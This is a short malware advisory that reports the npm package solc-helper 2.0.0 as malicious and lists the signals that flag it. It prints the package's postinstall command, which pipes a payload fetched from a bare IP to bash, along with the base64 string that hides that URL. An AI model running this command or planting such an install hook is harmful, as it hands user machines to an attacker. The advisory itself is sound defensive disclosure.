MAL-2026-3715 Malicious code in solc-helper (npm)

package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s http://8.217.75.147:3000/payload | bash. The URL is obfuscated via Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString() which decodes to http://8.217.75.147:3000/payload. Every npm install solc-helper triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, curl | bash pattern, and no legitimate functionality advertised by the package to justify any network activity.

The OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.